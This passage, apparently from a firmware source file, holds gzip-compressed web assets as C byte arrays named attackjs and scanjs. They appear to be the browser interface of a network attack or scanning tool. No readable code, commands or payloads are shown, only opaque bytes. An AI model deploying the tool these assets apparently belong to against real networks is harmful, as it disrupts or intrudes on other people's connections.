0xcb, 0xd8, 0x10, 0xb6, 0x29, 0xac, 0xa9, 0xd5, 0x94, 0xd2, 0x22, 0xb5, 0x15, 0x4f, 0xac, 0x4e, 0x60, 0xd0, 0x74, 0x8e, 0x41, 0x60, 0x4f, 0xfd, 0xed, 0x6c, 0xa0, 0x33, 0x1b, 0x45, 0xfb, 0xe8, 0xfa, 0xcb, 0xa9, 0x64, 0x36, 0xcf, 0x3d, 0xd2, 0x65, 0x65, 0xae, 0xbd, 0x31, 0x44, 0x11, 0x67, 0x0f, 0xd9, 0x9c, 0x91, 0x67, 0x61, 0x2d, 0x11, 0x2a, 0xf3, 0xfd, 0xe6, 0x8f, 0x86, 0x70, 0x64, 0xee, 0xaf, 0x67, 0x86, 0x75, 0x29, 0x32, 0x6d, 0xa6, 0x31, 0x45, 0x43, 0x26, 0x74, 0x9e, 0xd3, 0xab, 0x9b, 0xcc, 0x31, 0x1b, 0x2a, 0x84, 0x91, 0xf9, 0x6f, 0x7b, 0xae, 0x59, 0xec, 0x74, 0xb4, 0xae, 0x59, 0xe4, 0x95, 0xa1, 0x4d, 0x02, 0x3a, 0x2a, 0x87, 0xf0, 0x7f, 0x35, 0xfb, 0x3d, 0xc7, 0xc9, 0x63, 0xc6, 0x13, 0xf1, 0x18, 0xb2, 0x24, 0x39, 0x7f, 0xa0, 0x70, 0x4c, 0x33, 0xa5, 0x91, 0x62, 0xeb, 0x0f, 0x0c, 0x47, 0x83, 0x1d, 0xfb, 0xdf, 0x3a, 0xa9, 0xbf, 0x76, 0x50, 0xaf, 0x83, 0xf1, 0xdf, 0x36, 0xd1, 0xbd, 0xea, 0x2b, 0x0b, 0x00, 0x00};\nconst char attackjs[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb5, 0x3c, 0x14, 0x60, 0x02, 0xff, 0x61, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x2e, 0x6a, 0x73, 0x00, 0x95, 0x54, 0xcb, 0x8e, 0xda, 0x30, 0x14, 0x5d, 0xc3, 0x57, 0xdc, 0x7a, 0x15, 0xa6, 0x94, 0x24, 0x1e, 0x69, 0x54, 0x81, 0xd0, 0xa8, 0x8b, 0x56, 0x6d, 0x35, 0xb4, 0x95, 0x9a, 0x1d, 0x8a, 0x2a, 0xe3, 0x5c, 0x48, 0x8a, 0xb1, 0x23, 0xdb, 0x29, 0x8b, 0x8a, 0x7f, 0x1f, 0x27, 0xe1, 0x95, 0x10, 0x0a, 0x95, 0xac, 0xc4, 0x8f, 0x73, 0xce, 0xf5, 0x7d, 0xf8, 0xfa, 0x0f, 0x10, 0xa5, 0x99, 0x01, 0xa3, 0x96, 0x76, 0xcb, 0x34, 0x82, 0x9b, 0x8b, 0x8c, 0xa3, 0x34, 0x98, 0x40, 0x21, 0x13, 0xd4, 0x60, 0x53, 0x84, 0xd9, 0x97, 0x08, 0x5e, 0xea, 0xed, 0x31, 0xa4, 0xd6, 0xe6, 0x66, 0xec, 0xfb, 0xab, 0xcc, 0xa6, 0xc5, 0x62, 0xc4, 0xd5, 0xc6, 0x37, 0x39, 0xe3, 0x98, 0x16, 0xa9, 0xb4, 0xc8, 0x53, 0x1f, 0x4d, 0xfe, 0x9e, 0x3e, 0x3d, 0xfd, 0x4a, 0x90, 0x15, 0x8e, 0xad, 0xe1, 0xc1, 0xef, 0xf7, 0xff, 0x30, 0x0d, 0xcc, 0x5a, 0xc6, 0xd7, 0x5f, 0x7f, 0x7e, 0xff, 0x06, 0x53, 0x98, 0xcf, 0x97, 0x4c, 0x18, 0x1c, 0x42, 0xe0, 0x46, 0x3c, 0x84, 0x7f, 0x2d, 0xe3, 0x49, 0xbf, 0xbf, 0x2c, 0x24, 0xb7, 0x99, 0x92, 0x90, 0x68, 0xb6, 0xf5, 0x06, 0xf0, 0xb7, 0xdf, 0x5b, 0xa1, 0xfd, 0xe8, 0x91, 0xda, 0x0c, 0x19, 0x8c, 0x32, 0x29, 0x51, 0x7f, 0x8e, 0x66, 0x2f, 0x4e, 0xfd, 0x64, 0x6a, 0x1e, 0xc4, 0x6e, 0xc0, 0x33, 0x08, 0x26, 0x57, 0x1e, 0x31, 0x56, 0xe5, 0x64, 0x00, 0xe3, 0xe3, 0x92, 0x69, 0x4b, 0x06, 0x93, 0x83, 0xd8, 0x02, 0x19, 0x57, 0xf2, 0xba, 0x58, 0xf8, 0x3f, 0x62, 0xb9, 0x56, 0x0b, 0xbc, 0xae, 0x45, 0xef, 0xd2, 0x6a, 0xba, 0x19, 0x31, 0xed, 0x96, 0xa6, 0x25, 0x8a, 0x86, 0x7b, 0x4d, 0x8f, 0xc3, 0x18, 0xde, 0x02, 0xb9, 0x70, 0xec, 0x2e, 0x7a, 0xd8, 0x41, 0xaf, 0x5c, 0xb9, 0x8b, 0x4d, 0xcf, 0xd9, 0xcd, 0xcb, 0xff, 0x58, 0xdf, 0x71, 0x73, 0x5a, 0x91, 0x7d, 0xe2, 0xbe, 0xcd, 0x83, 0xc7, 0xb8, 0xed, 0xcd, 0x6d, 0xbd, 0xf0, 0x9a, 0x5e, 0xd8, 0xd4, 0xab, 0xdc, 0xbb, 0x2d, 0x47, 0xaf, 0xc9, 0xd1, 0xbd, 0xdc, 0x41, 0x8f, 0x09, 0x91, 0xdf, 0x54, 0x7b, 0x3c, 0x86, 0x69, 0x77, 0x56, 0xde, 0x65, 0x1d, 0x7c, 0x10, 0xe2, 0x58, 0xe1, 0x9f, 0x32, 0x81, 0x1e, 0xd1, 0x85, 0x7c, 0xe6, 0x9b, 0x64, 0x5a, 0x9e, 0xee, 0x0d, 0x93, 0x21, 0x1c, 0x49, 0x35, 0xba, 0x27, 0x14, 0x4b, 0xbc, 0xd2, 0xab, 0xdd, 0x85, 0xa8, 0xab, 0x26, 0x6f, 0xa3, 0x12, 0xac, 0x80, 0x66, 0x9b, 0x59, 0x9e, 0xc2, 0x69, 0xa3, 0xc7, 0x99, 0x41, 0x08, 0xc6, 0x6e, 0xd6, 0xbb, 0x78, 0x3a, 0x53, 0x78, 0xd3, 0xde, 0x9b, 0x94, 0xc0, 0x85, 0x46, 0xb6, 0x9e, 0x1c, 0xc8, 0x61, 0x9b, 0x1c, 0x76, 0x90, 0xc3, 0x2b, 0x64, 0xda, 0x26, 0xd3, 0x0e, 0x32, 0xbd, 0x20, 0xef, 0x3a, 0x22, 0xb4, 0x0f, 0x8e, 0x0b, 0xad, 0xd7, 0xd1, 0x04, 0x08, 0xbc, 0x4b, 0x88, 0x7b, 0x64, 0x2e, 0xec, 0x2d, 0x44, 0x78, 0x42, 0x2c, 0xba, 0x11, 0xf4, 0x84, 0xc8, 0xf7, 0x88, 0xcb, 0x14, 0x18, 0xb4, 0x51, 0xb6, 0x41, 0x55, 0x58, 0xaf, 0xcc, 0xc6, 0x10, 0x68, 0x10, 0x04, 0x65, 0x4a, 0x7a, 0x75, 0xdf, 0xea, 0x48, 0x4e, 0x9d, 0xb5, 0x46, 0xba, 0x6b, 0xab, 0xa3, 0xdf, 0xc6, 0xf5, 0xa2, 0x73, 0x1b, 0xda, 0xf5, 0x56, 0xe5, 0xba, 0x70, 0x6d, 0xab, 0xd1, 0x4f, 0xcb, 0xdf, 0x28, 0x67, 0xda, 0xe0, 0x09, 0x55, 0xc5, 0xd7, 0xcd, 0x94, 0xc0, 0x91, 0x50, 0xab, 0xe6, 0x81, 0x49, 0xd5, 0x76, 0x86, 0xc6, 0xb0, 0x95, 0x33, 0xe8, 0x50, 0x12, 0xb9, 0xc5, 0x84, 0x74, 0xdc, 0xf5, 0x15, 0x1d, 0x36, 0xb7, 0x2e, 0x26, 0x06, 0x00, 0x00};\nconst char scanjs[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb5, 0x3c, 0x14, 0x60, 0x02, 0xff, 0x73, 0x63, 0x61, 0x6e, 0x2e, 0x6a, 0x73, 0x00, 0xcd, 0x5a, 0x7d, 0x4f, 0xe3, 0x46, 0x13, 0xff, 0x3b, 0xf9, 0x14, 0xdb, 0x54, 0xad, 0x93, 0x12, 0x12, 0x3b, 0x10, 0xae, 0x22, 0x90, 0x8a, 0xe3, 0xa8, 0x1e, 0x2a, 0xee, 0x45, 0x80, 0x1e, 0x3d, 0x2a, 0x8d, 0x90, 0x63, 0x2f, 0xd8, 0xc5, 0xb1, 0x23, 0xef, 0x06, 0x38, 0xb5, 0x7c, 0xf7, 0x67, 0x66, 0xd6, 0x76, 0xd6, 0xaf, 0x04, 0x7a, 0xd5, 0x9d, 0x84, 0x8c, 0xed, 0x99, 0x9d, 0x99, 0x9d, 0x9d, 0x99, 0xdf, 0xec, 0x3a, 0xc3, 0x9f, 0xd8, 0xa5, 0xe7, 0x0b, 0x26, 0xa2, 0x1b, 0xf9, 0x60, 0xc7, 0x9c, 0xc1, 0x7d, 0xe0, 0x3b, 0x3c, 0x14, 0xdc, 0x65, 0xab, 0xd0, 0xe5, 0x31, 0x93, 0x1e, 0x67, 0xef, 0x4f, 0x2f, 0xd9, 0x99, 0x7a, 0xbd, 0xcf, 0x3c, 0x29, 0x97, 0x62, 0x7f, 0x38, 0xbc, 0xf5, 0xa5, 0xb7, 0x9a, 0x0f, 0x9c, 0x68, 0x31, 0x14, 0x4b, 0xdb, 0xe1, 0xde, 0xca, 0x0b, 0x25, 0x77, 0xbc, 0x21, 0x17, 0xcb, 0x9f, 0x47, 0x7b, 0x7b, 0xd7, 0x2e, 0xb7, 0x57, 0x30, 0x3a, 0x66, 0x3f, 0x0d, 0xdb, 0xed, 0x7b, 0x3b, 0x66, 0xa1, 0xbd, 0xe0, 0xbf, 0x89, 0x28, 0x64, 0x87, 0xec, 0x6a, 0x36, 0xa1, 0x57, 0xc2, 0xb1, 0xc3, 0xe4, 0xd5, 0x5f, 0xcc, 0x06, 0xb9, 0x40, 0xe9, 0x33, 0x21, 0x6d, 0xe9, 0x47, 0x21, 0x3d, 0xb1, 0xa7, 0x49, 0xbb, 0x7d, 0xb3, 0x0a, 0x1d, 0x7c, 0xc3, 0xdc, 0xd8, 0x7e, 0xb8, 0x80, 0x31, 0xdd, 0x1e, 0xfb, 0xab, 0xdd, 0x42, 0x09, 0x9e, 0x5c, 0x04, 0x13, 0x75, 0x2b, 0x78, 0xc0, 0x1d, 0xc9, 0xdd, 0xe4, 0xf1, 0xc1, 0x77, 0xa5, 0x97, 0xdc, 0x3b, 0x51, 0x10, 0xc5, 0xc9, 0xfd, 0xc2, 0x76, 0xfe, 0xcb, 0x43, 0x17, 0x9f, 0xdb, 0xad, 0xe1, 0x90, 0x1d, 0x39, 0x0e, 0x17, 0x82, 0x7d, 0x8a, 0xfc, 0x50, 0x8a, 0x76, 0xeb, 0x96, 0xcb, 0x93, 0x6e, 0xc7, 0x5e, 0x7e, 0x58, 0x2d, 0x3a, 0xbd, 0x81, 0x1f, 0x86, 0x3c, 0xfe, 0xcf, 0xe5, 0xfb, 0x33, 0xb0, 0x30, 0x35, 0x76, 0x00, 0x86, 0x0e, 0x02, 0x1e, 0xde, 0x92, 0x78, 0x34, 0x00, 0x88, 0x9d, 0x03, 0x19, 0x4f, 0x3b, 0xed, 0x56, 0x6b, 0x0b, 0x6f, 0x3d, 0xe6, 0x04, 0xb6, 0x10, 0x87, 0x86, 0xef, 0x1a, 0xd3, 0x83, 0xa1, 0xf4, 0x2a, 0x48, 0x42, 0x20, 0xf1, 0xe2, 0xe2, 0xf4, 0x5d, 0x0d, 0x03, 0xfa, 0xcb, 0x98, 0x7e, 0x80, 0x6b, 0x0d, 0x83, 0xe3, 0x19, 0xd3, 0x63, 0xaf, 0x86, 0x18, 0x83, 0x7c, 0x63, 0x7a, 0x0e, 0xf2, 0x6b, 0x18, 0x78, 0xe8, 0x18, 0xd3, 0x93, 0xd0, 0xa9, 0x21, 0x07, 0x91, 0x73, 0x57, 0x6b, 0x3b, 0xf8, 0xd0, 0x98, 0xbe, 0x3f, 0x3a, 0xae, 0x21, 0xdf, 0x93, 0x7f, 0x8d, 0xa9, 0xf2, 0x73, 0xdd, 0xfc, 0x69, 0xb9, 0x8e, 0xa3, 0x60, 0xb5, 0x08, 0x6b, 0x15, 0xc5, 0x7c, 0x11, 0xdd, 0xf3, 0x02, 0x79, 0x88, 0xae, 0xc6, 0xd5, 0xbb, 0x89, 0x62, 0xd6, 0xc5, 0x35, 0xf5, 0x61, 0x05, 0xcc, 0x09, 0xfc, 0x3b, 0xa8, 0x5c, 0x25, 0xe6, 0x6f, 0x6d, 0x51, 0xc4, 0xb4, 0xd2, 0x18, 0x29, 0x2c, 0xe7, 0x95, 0x3f, 0xbb, 0x2a, 0x3c, 0x27, 0x63, 0xd9, 0x36, 0xb3, 0x20, 0x58, 0x5b, 0x2d, 0x0a, 0x27, 0x18, 0xb6, 0xb4, 0x63, 0xc1, 0x4f, 0x43, 0xd9, 0x2d, 0x8e, 0xdf, 0x99, 0xf5, 0xd8, 0x16, 0xb3, 0x76, 0x4c, 0xb4, 0xac, 0xe5, 0xdf, 0xb0, 0xae, 0x1a, 0x72, 0xc0, 0xc6, 0x66, 0x4f, 0x45, 0x20, 0xc6, 0xc9, 0x82, 0x4b, 0x1e, 0x5f, 0xc7, 0xdc, 0xed, 0xa0, 0x54, 0x1e, 0x08, 0xc8, 0x3a, 0x8d, 0xf7, 0x4d, 0x99, 0x37, 0x8a, 0xed, 0xf0, 0x96, 0xaf, 0xd9, 0x0b, 0xe4, 0xdb, 0x98, 0xf3, 0x90, 0xdc, 0xa1, 0x62, 0x71, 0xeb, 0x90, 0x75, 0xb3, 0x69, 0xfe, 0x42, 0x81, 0x99, 0x77, 0x39, 0x87, 0xb0, 0xeb, 0xb0, 0xfd, 0x24, 0x64, 0x7b, 0x30, 0x4e, 0x39, 0xdd, 0xd5, 0x83, 0xb6, 0x03, 0x73, 0xf1, 0x99, 0xf2, 0xb6, 0x0b, 0x4f, 0x90, 0x28, 0xa7, 0xef, 0xca, 0xac, 0x2a, 0x88, 0x91, 0x99, 0x0b, 0xa7, 0xe4, 0x12, 0x93, 0x5c, 0xa2, 0x89, 0xc0, 0x68, 0x2f, 0x0b, 0x51, 0x81, 0x8e, 0x42, 0x4a, 0x12, 0xac, 0x6c, 0x1d, 0xa6, 0xcc, 0x84, 0xd9, 0x54, 0x69, 0xb1, 0x40, 0x0b, 0xce, 0x66, 0xbe, 0x92, 0x12, 0x6a, 0x44, 0x14, 0x3a, 0x50, 0xc3, 0xee, 0x0e, 0x0d, 0xdb, 0x75, 0xbb, 0x66, 0x3f, 0x9b, 0x48, 0x4f, 0xa9, 0x08, 0xc0, 0x99, 0x90, 0xdf, 0xae, 0xdb, 0x49, 0x6c, 0x53, 0xc3, 0xa6, 0x9d, 0x82, 0xa9, 0x98, 0x77, 0x65, 0x53, 0x31, 0xe5, 0xea, 0x66, 0x3b, 0x2a, 0xce, 0xf6, 0xd8, 0x43, 0x01, 0x70, 0x83, 0x59, 0x58, 0x96, 0xa5, 0x32, 0xf4, 0xc0, 0xf5, 0xef, 0xb3, 0xb4, 0xa2, 0x05, 0x9d, 0xdb, 0xce, 0xdd, 0x6d, 0x1c, 0x41, 0xfd, 0x35, 0xa6, 0xac, 0x4c, 0x86, 0xa0, 0x57, 0x54, 0x86, 0x86, 0xa8, 0x60, 0x00, 0xc1, 0x06, 0x94, 0xcd, 0xcf, 0x01, 0x3f, 0x34, 0x28, 0x92, 0xf6, 0x89, 0xa8, 0x82, 0x0a, 0x88, 0x3f, 0x4c, 0xaa, 0x14, 0xdd, 0xdb, 0xc1, 0x2a, 0x71, 0x7c, 0x39, 0x98, 0xd5, 0x54, 0x60, 0xcc, 0x54, 0x5d, 0x59, 0xfa, 0x80, 0xb3, 0x2b, 0x4f, 0x86, 0xaa, 0x49, 0x9d, 0x67, 0x76, 0x8b, 0x9e, 0x39, 0xf9, 0x70, 0x5c, 0x16, 0xa1, 0x2a, 0x4e, 0x65, 0x18, 0xec, 0xce, 0xd8, 0x21, 0x04, 0xfc, 0x76, 0x07, 0x03, 0x9a, 0x62, 0xf7, 0xc7, 0xef, 0x1f, 0xad, 0x9b, 0xb1, 0x35, 0x9a, 0x14, 0xd7, 0xed, 0x0c, 0xa4, 0xb0, 0x93, 0x45, 0xf4, 0xa7, 0x5f, 0xd6, 0x40, 0x65, 0xab, 0xce, 0xc8, 0x71, 0xd1, 0x48, 0xa8, 0x6f, 0x65, 0x11, 0x69, 0x69, 0xab, 0x93, 0xb2, 0x57, 0x94, 0xa2, 0x6a, 0x60, 0x12, 0x08, 0x17, 0x94, 0x80, 0x15, 0x69, 0x94, 0xaf, 0x85, 0x81, 0x3d, 0xe7, 0xc1, 0x3a, 0xe4, 0xb8, 0x73, 0xf7, 0x36, 0x7a, 0x3c, 0x8e, 0x42, 0x69, 0xfb, 0x00, 0x47, 0xc0, 0xe0, 0x87, 0xcb, 0x95, 0x64, 0xf2, 0xf3, 0x92, 0x27, 0xf4, 0x79, 0xf4, 0x68, 0x30, 0xe5, 0x3a, 0x2d, 0xf5, 0x89, 0x04, 0x95, 0x06, 0x1d, 0xa6, 0xfc, 0xb4, 0xce, 0x0e, 0xc5, 0x77, 0x1e, 0x3d, 0xe8, 0x39, 0xd2, 0x2f, 0x89, 0xb8, 0xb1, 0xa1, 0xe4, 0x90, 0x00, 0x19, 0xaf, 0xb8, 0x12, 0x02, 0x99, 0x74, 0x00, 0x98, 0x1f, 0xe6, 0x2c, 0x5c, 0xd8, 0x31, 0xe1, 0x05, 0x12, 0xe0, 0x1f, 0x4d, 0xa1, 0x36, 0x5a, 0xb2, 0xb2, 0x9e, 0xe4, 0x6c, 0xf6, 0xda, 0x35, 0xd6, 0x16, 0x2a, 0xa6, 0x42, 0x0a, 0xff, 0x2f, 0x4b, 0xd8, 0xb5, 0x8b, 0xcf, 0x89, 0x31, 0xd5, 0x92, 0xa0, 0x43, 0xeb, 0xa9, 0xbd, 0x06, 0xf3, 0x4b, 0x7b, 0x1e, 0xf0, 0x02, 0x9c, 0xab, 0xce, 0x81, 0x5a, 0x80, 0x8b, 0xa4, 0xe1, 0x48, 0x07, 0x08, 0xd9, 0x80, 0xfe, 0x69, 0x77, 0xf2, 0x05, 0x5a, 0x80, 0x8d, 0x70, 0xf2, 0x19, 0xac, 0x6d, 0x6c, 0x02, 0x9e, 0x6d, 0x21, 0x96, 0x77, 0x52, 0x18, 0xd3, 0x4f, 0x70, 0xad, 0x61, 0xb0, 0x97, 0xc6, 0xf4, 0xe8, 0x53, 0x5d, 0x8f, 0x60, 0x0b, 0x29, 0x00, 0x7d, 0x8c, 0xe9, 0x19, 0xdc, 0x31, 0xbc, 0xfd, 0x4a, 0x60, 0x5f, 0x5c, 0x94, 0x66, 0xc4, 0x4f, 0xb9, 0x73, 0xb0, 0xaf, 0xbd, 0x2c, 0x62, 0xbf, 0xbd, 0xc4, 0xe5, 0x25, 0x04, 0x46, 0xac, 0xae, 0x94, 0x33, 0x9e, 0xb1, 0x29, 0xd8, 0x45, 0x70, 0x4a, 0xfc, 0xa5, 0xea, 0x50, 0x33, 0x8c, 0x60, 0xf2, 0x2b, 0xc1, 0x77, 0x6d, 0x35, 0xd3, 0x4d, 0xdc, 0xa9, 0x2f, 0x69, 0x9b, 0x94, 0x57, 0x5d, 0x94, 0xb9, 0x51, 0x8d, 0xad, 0x04, 0x59, 0x5d, 0x8c, 0x55, 0x8d, 0xb4, 0xcf, 0x77, 0x15, 0xba, 0x90, 0x51, 0x53, 0x6b, 0x91, 0x67, 0xac, 0xef, 0x2f, 0xac, 0x2f, 0xdc, 0x5f, 0xa8, 0x7c, 0x6c, 0x9c, 0x7c, 0x09, 0x4c, 0x31, 0x7b, 0xcb, 0x92, 0x30, 0x71, 0x51, 0x0e, 0xc4, 0x62, 0x8e, 0xfb, 0xe8, 0x53, 0x05, 0xf2, 0x66, 0x79, 0xdc, 0xa8, 0xb9, 0x84, 0x6d, 0x59, 0xd6, 0x7f, 0xcb, 0xf0, 0x66, 0x7d, 0xdb, 0xf0, 0x66, 0xfd, 0x63, 0x78, 0x13, 0xb2, 0x1e, 0xde, 0x9e, 0x0a, 0x9b, 0x67, 0x8c, 0x3a, 0xf1, 0xcc, 0xee, 0x99, 0x20, 0x91, 0x18, 0x53, 0x0d, 0x61, 0x19, 0x0e, 0xd3, 0xcd, 0xfc, 0x17, 0x40, 0xc1, 0x2f, 0xb1, 0x99, 0x7c, 0x16, 0xe8, 0x14, 0x8e, 0x6d, 0xbf, 0x6d, 0xd8, 0x6f, 0x37, 0x22, 0xa9, 0xb0, 0x4b, 0xc8, 0xf4, 0xaf, 0xa3, 0x5b, 0xd1, 0xc7, 0x95, 0xa0, 0x96, 0x32, 0x61, 0x82, 0x6a, 0xf7, 0x79, 0x08, 0xfb, 0x2a, 0xe0, 0x82, 0xeb, 0x0a, 0xfb, 0x93, 0x50, 0xf2, 0x50, 0x9e, 0xb8, 0xbe, 0xc4, 0x20, 0x3d, 0x34, 0x30, 0xcf, 0x0c, 0xe6, 0xbb, 0x6a, 0xcd, 0xae, 0x33, 0x59, 0xd7, 0x39, 0xf4, 0xd0, 0x67, 0x65, 0xbe, 0xaa, 0x31, 0xd7, 0x25, 0x58, 0x9b, 0x22, 0x18, 0x85, 0xd1, 0x0b, 0x6c, 0x5e, 0x63, 0x4c, 0x51, 0x25, 0xa0, 0x8b, 0x58, 0xcd, 0x85, 0x8c, 0x7d, 0x80, 0x03, 0xb3, 0xcf, 0xac, 0xbd, 0xde, 0x46, 0x00, 0x00, 0x71, 0xfa, 0x02, 0xfd, 0xf6, 0x72, 0x9e, 0xdf, 0x81, 0xeb, 0x26, 0x94, 0x70, 0x3b, 0x8d, 0xff, 0x4a, 0xc4, 0x7d, 0x81, 0x56, 0x1d, 0x9f, 0x75, 0x85, 0xbb, 0x9b, 0xc0, 0x72, 0x92, 0x48, 0xf9, 0xca, 0x48, 0x67, 0x18, 0x5a, 0x6d, 0x44, 0xa6, 0x6e, 0x35, 0xb2, 0x22, 0xa9, 0x00, 0xad, 0xda, 0xf9, 0x82, 0xad, 0x0a, 0xe5, 0xb7, 0x8a, 0x45, 0xa3, 0x6f, 0x1b, 0x8b, 0x46, 0xff, 0x18, 0x8b, 0xc2, 0x46, 0x28, 0xc2, 0xfa, 0xe6, 0xae, 0xa4, 0x50, 0x87, 0xbf, 0x3c, 0x78, 0x94, 0xfe, 0x82, 0x4f, 0xd6, 0x08, 0x85, 0x5d, 0x47, 0x17, 0x5d, 0x4d, 0x55, 0x8e, 0x24, 0x1a, 0xe7, 0x6f, 0xc9, 0x06, 0xa3, 0x37, 0x70, 0x7d, 0x81, 0xc2, 0xb1, 0xe8, 0xa1, 0x83, 0x40, 0xaf, 0x78, 0xf0, 0xa5, 0xe3, 0xb1, 0xf5, 0x90, 0x96, 0x63, 0x0b, 0xce, 0xcc, 0x7d, 0x34, 0x50, 0x0d, 0x47, 0x91, 0x1f, 0x43, 0x5e, 0x39, 0x5c, 0xe7, 0xf9, 0x9d, 0xc7, 0x11, 0x30, 0xd1, 0x19, 0xca, 0xe0, 0xde, 0x17, 0xfe, 0xdc, 0x0f, 0x7c, 0xf9, 0x19, 0x98, 0x0d, 0xcf, 0x77, 0x5d, 0x88, 0x4e, 0x1a, 0x90, 0xd8, 0x0c, 0xaf, 0x47, 0xbb, 0x63, 0x93, 0x5e, 0xcd, 0x63, 0x6e, 0xdf, 0x4d, 0x52, 0xdd, 0xd6, 0x7e, 0xa5, 0xdc, 0x66, 0xe5, 0xca, 0xc0, 0xcd, 0x75, 0x67, 0x67, 0x90, 0x49, 0x03, 0x00, 0x22, 0x2e, 0x81, 0x02, 0x6e, 0xa7, 0x23, 0x1d, 0x5c, 0x3f, 0xd3, 0x34, 0x29, 0x82, 0xac, 0xb1, 0x69, 0xd2, 0x0a, 0xa9, 0x73, 0xf0, 0x85, 0x7b, 0x21, 0xe9, 0xec, 0x10, 0xc7, 0x30, 0x85, 0x42, 0xe4, 0x3e, 0x3c, 0x5f, 0xc1, 0x2e, 0x18, 0x36, 0xcb, 0x82, 0x51, 0x10, 0xa6, 0x9d, 0x1f, 0xdb, 0x96, 0x14, 0xee, 0xf5, 0xba, 0x04, 0x01, 0x05, 0x86, 0xfc, 0x36, 0xac, 0xc6, 0x9a, 0xd7, 0xf1, 0x80, 0x2b, 0x5a, 0xaa, 0xfe, 0x51, 0x7b, 0x95, 0x06, 0xfd, 0x69, 0xe8, 0xf2, 0xc7, 0x99, 0x92, 0x33, 0xa1, 0xf5, 0xfe, 0xd5, 0x0f, 0x20, 0xef, 0xe3, 0x55, 0xf8, 0x0b, 0x58, 0x7a, 0x48, 0xe7, 0x5b, 0x64, 0x31, 0xec, 0x8f, 0x5a, 0x18, 0x38, 0xfa, 0xdc, 0x69, 0xd1, 0x31, 0x08, 0xb8, 0x44, 0x83, 0xa2, 0x95, 0xec, 0xaa, 0x70, 0xfd, 0x15, 0xc2, 0xa9, 0x9f, 0x46, 0x57, 0x81, 0x23, 0x88, 0x6c, 0x57, 0xa7, 0xe9, 0xfd, 0xd1, 0x7a, 0xb4, 0x6a, 0x90, 0xd2, 0xe8, 0x42, 0xc5, 0x0d, 0xd1, 0xd5, 0x10, 0x39, 0xf4, 0x14, 0x70, 0x63, 0xf2, 0x4c, 0x3c, 0x52, 0xe6, 0x6f, 0x10, 0x4c, 0xf5, 0x71, 0x52, 0xa3, 0xa9, 0x1c, 0x7d, 0xa9, 0xaa, 0xa7, 0xc6, 0xfc, 0x4a, 0xb8, 0x74, 0xef, 0xa0, 0xe7, 0x94, 0x5f, 0x08, 0x49, 0x04, 0xb3, 0x43, 0x37, 0x7f, 0x70, 0x92, 0x5f, 0x3c, 0xac, 0xd3, 0x94, 0xd0, 0x9d, 0x3e, 0xcb, 0x84, 0x28, 0x01, 0x6b, 0x66, 0xa4, 0x0f, 0xfe, 0x04, 0xf8, 0xc8, 0x31, 0xc5, 0x3c, 0xf1, 0x77, 0x4b, 0xfb, 0x3e, 0xf4, 0xdb, 0xc5, 0xc7, 0x0f, 0x03, 0x5a, 0x7c, 0xa2, 0xd3, 0x44, 0x85, 0x17, 0x3d, 0xbc, 0xe7, 0x42, 0xd8, 0xb7, 0x20, 0x0b, 0xf0, 0x2b, 0xa4, 0xb0, 0xea, 0x28, 0xe2, 0xfa, 0x5b, 0x11, 0x3e, 0x3e, 0xe1, 0x95, 0x2e, 0xb9, 0xe6, 0xb6, 0xc2, 0x66, 0x44, 0x34, 0xd1, 0x64, 0x34, 0x31, 0x34, 0x59, 0xad, 0x7d, 0xe8, 0x7a, 0x95, 0xd5, 0x49, 0x93, 0x9e, 0x33, 0x5b, 0x5f, 0x8a, 0x35, 0x9e, 0x60, 0x0e, 0xf4, 0x01, 0xa2, 0xfb, 0x59, 0xfb, 0x9e, 0x8b, 0xdc, 0xca, 0xba, 0x98, 0x3f, 0xb1, 0x74, 0x67, 0x57, 0x6f, 0x66, 0x78, 0x36, 0xb2, 0xfe, 0x78, 0x56, 0x74, 0x5d, 0x75, 0x62, 0xe6, 0xa0, 0x8b, 0x0a, 0x86, 0x9b, 0x60, 0x96, 0x22, 0xe0, 0xc6, 0x93, 0xd0, 0xc4, 0xed, 0xd5, 0x46, 0x76, 0xc5, 0x2e, 0xf3, 0xdf, 0xb3, 0x27, 0xd1, 0xd1, 0x60, 0xd4, 0x48, 0x19, 0x85, 0xbd, 0x47, 0xca, 0xb0, 0x6e, 0x6f, 0x5c, 0x3a, 0xe2, 0xa9, 0x30, 0x4c, 0x5b, 0xad, 0x57, 0x5a, 0x86, 0x4a, 0x34, 0xb3, 0x9e, 0x72, 0x8b, 0x9d, 0x40, 0x73, 0xba, 0xd2, 0x2f, 0x5b, 0xdf, 0x81, 0x58, 0xe2, 0xf7, 0xdc, 0x2e, 0x46, 0x88, 0xd5, 0xdb, 0xc8, 0x97, 0x4a, 0xdf, 0xab, 0x56, 0xef, 0xf5, 0xda, 0x36, 0x5d, 0x9b, 0x6c, 0x47, 0x54, 0xad, 0xa9, 0x71, 0x29, 0x12, 0x55, 0x8d, 0xce, 0x4e, 0xd7, 0x3e, 0xdd, 0x1f, 0xc3, 0x9e, 0x04, 0x96, 0x3c, 0x69, 0x6d, 0xb2, 0x26, 0xd8, 0x4d, 0xf7, 0x2b, 0x7a, 0x9f, 0x33, 0x88, 0xf9, 0x32, 0xb0, 0xc1, 0xa6, 0xce, 0xc1, 0x1c, 0xba, 0xa2, 0x3e, 0xb6, 0x81, 0xc9, 0xd6, 0x9a, 0x54, 0xd6, 0x89, 0xc1, 0xe7, 0x0d, 0xe5, 0x24, 0xdd, 0x7e, 0xad, 0xa8, 0x84, 0xbe, 0xa1, 0x34, 0xc7, 0xab, 0x15, 0x44, 0x28, 0xbd, 0x99, 0x0c, 0xfc, 0x34, 0x89, 0x16, 0xa1, 0xa7, 0xbe, 0xd3, 0x77, 0xa3, 0x2e, 0x6e, 0xdc, 0xd8, 0xdf, 0x7f, 0xab, 0xd9, 0x17, 0x49, 0x23, 0x22, 0xa5, 0x13, 0x2a, 0x52, 0x77, 0x88, 0x0a, 0x06, 0x16, 0x09, 0xbb, 0x78, 0x1c, 0x8b, 0x47, 0xb0, 0x89, 0x62, 0x15, 0xfc, 0x45, 0xa5, 0x64, 0xcd, 0xa4, 0x48, 0x18, 0xcd, 0x92, 0xdd, 0x72, 0x89, 0xb2, 0x83, 0x94, 0xc4, 0x96, 0x12, 0x11, 0x3f, 0x3d, 0x81, 0x29, 0xd9, 0x47, 0xdd, 0x82, 0xb2, 0x74, 0x9f, 0x0d, 0x96, 0x5a, 0x6f, 0x52, 0xd4, 0xd2, 0x0b, 0xfc, 0xc9, 0xf9, 0xf9, 0xc7, 0xf3, 0x7d, 0xdc, 0xb3, 0x32, 